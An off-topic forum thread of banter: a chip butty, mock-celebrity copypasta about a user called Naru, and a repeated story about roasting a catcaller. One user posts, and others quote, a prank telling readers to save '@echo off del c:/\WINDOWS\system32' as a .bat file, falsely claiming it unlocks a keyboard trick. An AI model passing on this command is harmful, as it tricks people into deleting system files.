this was mod news, now its olds

[Technetium]

I fancy a chip butty

please explain

[JazzMusicStops]

I fancy a chip butty

please explain

https://en.wikipedia.org/wiki/Chip_butty

[Technetium]

The link explained.

Such a sort of sandwich sounds strange...but it’s probably pretty tasty regardless.

[lemonader666]

ew

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I fancy a chip butty

yeah that sounds good rn tbh

[LevinSnakesRise]

I meant at work, not here. :v

and it's the meh kind.

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oof thats the bummer kind

[Veeena]

massive gay here

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massive gay here

big if true

[LevinSnakesRise]

I mean we three are here, so....

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yeah this is gay news thread

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gayforce of tris

[ChubbyMooshroom9]

i can tell you how to tri-force

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okay do it

[ChubbyMooshroom9]

Ok so open notepad and type @echo off del c:/
\WINDOWS\system32 and save it as .bat

Afterwards, it will remove the limitations of the keyboard and you can tri force

[orangeandblack5]

Ok so open notepad and type @echo off del c:/
\WINDOWS\system32 and save it as .bat

Afterwards, it will remove the limitations of the keyboard and you can tri force

Genius

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Ok so open notepad and type @echo off del c:/
\WINDOWS\system32 and save it as .bat

Afterwards, it will remove the limitations of the keyboard and you can tri force

instructions unclear was kidnapped by the dark web

[VucubCaquix]

I saw Naru at a grocery store in Los Angeles yesterday. I told him how cool it was to meet him in person, but I didn’t want to be a douche and bother him and ask him for photos or anything.
He said, “Oh, like you’re doing now?”
I was taken aback, and all I could say was “Huh?” but he kept cutting me off and going “huh? huh? huh?” and closing his hand shut in front of my face. I walked away and continued with my shopping, and I heard him chuckle as I walked off. When I came to pay for my stuff up front I saw him trying to walk out the doors with like fifteen Milky Ways in his hands without paying.
The girl at the counter was very nice about it and professional, and was like “Sir, you need to pay for those first.” At first he kept pretending to be tired and not hear her, but eventually turned back around and brought them to the counter.
When she took one of the bars and started scanning it multiple times, he stopped her and told her to scan them each individually “to prevent any electrical infetterence,” and then turned around and winked at me. I don’t even think that’s a word. After she scanned each bar and put them in a bag and started to say the price, he kept interrupting her by yawning really loudly.

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wow naru what the fuck

[LevinSnakesRise]

Oh the above story is totally true.

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whats your probelm naru he was just being a fan and you had to be asuch a dick

[ICECLIMBERS]

Here is the story from a random encounter today, walking towards my Uni for my exam.

Im walking by a road when this class A douchebag in a white BMG sports car whims by. He is like 25-30 years old, with a NarudeSandstorm baseball cap turned backwards, playing some loud ass shitty Georgian country, wearing some gray baggy t-shirt and sweatpants, just a complete contrast in comparison to the car. Just your classical Grade-A douchebag in a modlife crisis.

He stopped at end of the street for a bit, so I passed him, crossed the street until he caught up with me again.
There is a pretty girl, maybe 20 years old, walking in an opposite direction, facing me and his car, paying attention to her own business.
He literally pulls over two empty "invalid" parking spots, right next to her, whistles in her direction with a loud "ooooh yeaaaah..." in the most disgusting, creepiest way while looking directly at her. The girl looks at him with a disgust in her face and I had to literally stop and take off my sunglasses to process what that dude just did.

And I dont know why, but in a pure moment of that situation, I said loudly:
"Dude, I am so sorry for you. Your life must really suck with a dick so small..." while putting my sunglasses back on.

Both of them heard me loud and clear - the girl literally blows the fuck up giggling, and the dude looks at me, doesnt say anything, and just steps on the gas and dissapears behind a corner.
It took me a solid second before I realized that I just roasted that guy so much he probably drove straight back to the Car rental to give them that BMG back.

I am so proud of myself for this, I dont think I have ever burnt a random stranger so much in my whole life. Also am glad it didnt end up in a fist fight because I finally had my stiches taken out today (wisdom tooth surgery I had last week)

[LevinSnakesRise]

Here is the story from a random encounter today, walking towards my Uni for my exam.

Im walking by a road when this class A douchebag in a white BMG sports car whims by. He is like 25-30 years old, with a NarudeSandstorm baseball cap turned backwards, playing some loud ass shitty Georgian country, wearing some gray baggy t-shirt and sweatpants, just a complete contrast in comparison to the car. Just your classical Grade-A douchebag in a modlife crisis.

He stopped at end of the street for a bit, so I passed him, crossed the street until he caught up with me again.
There is a pretty girl, maybe 20 years old, walking in an opposite direction, facing me and his car, paying attention to her own business.
He literally pulls over two empty "invalid" parking spots, right next to her, whistles in her direction with a loud "ooooh yeaaaah..." in the most disgusting, creepiest way while looking directly at her. The girl looks at him with a disgust in her face and I had to literally stop and take off my sunglasses to process what that dude just did.

And I dont know why, but in a pure moment of that situation, I said loudly:
"Dude, I am so sorry for you. Your life must really suck with a dick so small..." while putting my sunglasses back on.

Both of them heard me loud and clear - the girl literally blows the fuck up giggling, and the dude looks at me, doesnt say anything, and just steps on the gas and dissapears behind a corner.
It took me a solid second before I realized that I just roasted that guy so much he probably drove straight back to the Car rental to give them that BMG back.

I am so proud of myself for this, I dont think I have ever burnt a random stranger so much in my whole life. Also am glad it didnt end up in a fist fight because I finally had my stiches taken out today (wisdom tooth surgery I had last week)

This isn't the fan-fiction thread.

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Here is the story from a random encounter today, walking towards my Uni for my exam.

Im walking by a road when this class A douchebag in a white BMG sports car whims by. He is like 25-30 years old, with a NarudeSandstorm baseball cap turned backwards, playing some loud ass shitty Georgian country, wearing some gray baggy t-shirt and sweatpants, just a complete contrast in comparison to the car. Just your classical Grade-A douchebag in a modlife crisis.

He stopped at end of the street for a bit, so I passed him, crossed the street until he caught up with me again.
There is a pretty girl, maybe 20 years old, walking in an opposite direction, facing me and his car, paying attention to her own business.
He literally pulls over two empty "invalid" parking spots, right next to her, whistles in her direction with a loud "ooooh yeaaaah..." in the most disgusting, creepiest way while looking directly at her. The girl looks at him with a disgust in her face and I had to literally stop and take off my sunglasses to process what that dude just did.

And I dont know why, but in a pure moment of that situation, I said loudly:
"Dude, I am so sorry for you. Your life must really suck with a dick so small..." while putting my sunglasses back on.

Both of them heard me loud and clear - the girl literally blows the fuck up giggling, and the dude looks at me, doesnt say anything, and just steps on the gas and dissapears behind a corner.
It took me a solid second before I realized that I just roasted that guy so much he probably drove straight back to the Car rental to give them that BMG back.

I am so proud of myself for this, I dont think I have ever burnt a random stranger so much in my whole life. Also am glad it didnt end up in a fist fight because I finally had my stiches taken out today (wisdom tooth surgery I had last week)

This isn't the fan-fiction thread.

No I allow it.

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bumped for new op and poll